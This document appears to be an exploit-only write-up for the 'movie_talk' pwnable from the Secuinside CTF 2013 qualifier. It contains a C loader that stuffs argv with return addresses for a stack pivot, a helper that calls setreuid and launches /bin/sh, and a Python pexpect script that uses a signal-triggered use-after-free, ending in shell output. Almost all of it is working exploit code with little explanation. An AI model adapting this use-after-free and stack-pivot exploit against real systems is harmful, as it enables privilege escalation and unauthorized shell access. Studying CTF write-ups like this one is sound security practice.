Secuinside CTF 2013 Qual - 17. movie_talk (Exploit only)

Category : Pwnables

movie_talk

Summary : signal handler, use-after-free, lift esp to argv

loader.c

#include <stdio.h>

#define RET "\xbb\x8b\x04\x08" #define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET #define EXECL "\x90\x42\x0e\x40" #define BINARY "\x74\x81\x04\x08" // &"GNU" char *args[] = {RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16   EXECL "AAAA" BINARY, "", "", "", "", "", "", "", "", "", ""}; int main(int argc, char **argv, char **envp) { execve("./movie_talk",args, envp); }

GNU.c

#include <stdio.h>

int main() { setreuid(geteuid(), geteuid()); execl("/bin/sh","sh",0); }

Exploit

#!/usr/bin/python from struct import pack import os import pexpect import time p = lambda x : pack("<L", x) lift_esp = 0x400878c2    # add $0x81bc,%esp;  ret; pp = pexpect.spawn("/home/movie_talk/loader") pp.expect(".*") pp.sendline("1") pp.sendline("movie1") pp.sendline("1") pp.sendline("0") pp.expect(".*") pp.sendline("1") pp.sendline("movie2") pp.sendline("1") pp.sendline("0") time.sleep(4) os.system("kill -3 %d" %pp.pid) pp.expect(".*") pp.sendline("1") pp.sendline(p(lift_esp)+"a"*14) pp.sendline("1") pp.sendline("0") pp.expect(".*") pp.sendline("3") pp.interact()

root@ubuntu:/home/movie_talk# ulimit -s unlimited root@ubuntu:/home/movie_talk# ./exploit.py  3 movie name: rating [1-100]: film rate [0,12,15,19]: 1. movie addtion 2. movie deletion 3. my movie list 4. quit : [*] movie list => $ id uid=1016(movie_talk) gid=0(root) egid=1016(movie_talk) groups=1016(movie_talk),0(root) $